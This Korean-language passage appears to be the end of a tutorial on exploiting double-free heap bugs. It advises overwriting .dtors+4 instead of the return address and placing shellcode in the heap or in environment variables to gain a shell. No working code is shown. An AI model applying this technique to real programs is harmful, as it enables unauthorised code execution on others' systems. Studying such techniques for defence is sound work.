여기서 A는 junk1이고, B는 junk2, C는 junk3 이다.
위의 연습 코드를 통한 방법에서는 RET와 쉘코드의 위치를 정확히 알고서 공격을 할 수 있었지만 실전에서 dump되지 않는 프로그램을 공략하기란 그리 만만치 만은 않다. 따라서 DFB에서는 RET보다는 .dtors+4 위치를 공략 하는 편이 조금더 유리하며 shellcode를 넣는 위치도 heap영역이나 기타 환경변수 쉘을 변형하여(jump ahead code를 삽입한) 공략하여도 좋을 것 같다.
DFB는 그동안 등한시 되던^^ heap영역을 통하여 쉘을 획득 할 수 있다는 좋은 본보기가 된다. 역시 모든 프로그램의 실행중에 사용되는 메모리와 그 메커니즘은 언제나 취약성이 노출되어있으며 이를 보완 발전하여야 하는 것은 hacker의 몫이라고 다시 한번 강조한다.